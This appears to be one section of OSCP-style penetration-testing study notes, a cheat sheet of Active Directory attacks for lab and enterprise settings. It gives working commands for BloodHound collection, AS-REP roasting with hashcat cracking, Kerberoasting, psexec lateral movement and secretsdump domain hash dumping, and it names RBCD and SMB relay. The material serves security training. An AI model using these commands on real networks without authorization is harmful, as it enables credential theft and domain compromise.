06_active_directory

🏢 Active Directory Attacks

Common AD attacks used in OSCP-like labs and enterprise environments.

➡️ Environment: See 00_environment_setup

---

🧠 BloodHound

neo4j console &
bloodhound &
SharpHound.exe -c all -v

Analyze output for shortest path to Domain Admin.

---

🔐 Kerberos

AS-REP Roasting

GetNPUsers.py -no-pass -dc-ip $IP example.com/ -usersfile users.txt
hashcat -m 18200 hash.txt rockyou.txt

Kerberoasting

GetUserSPNs.py example.com/user:pass -dc-ip $IP

---

🧪 Lateral Movement

• SMB relay
• PSExec

impacket-psexec user:pass@$IP

---

🧪 RBCD (Resource-Based Constrained Delegation)

• Add compromised user to a computer object delegation rights
• Use addcomputer.py and s4u2proxy attack with impacket

---

🧪 Dumping Hashes

secretsdump.py -just-dc user:pass@$IP

---

Next: 07_post_exploitation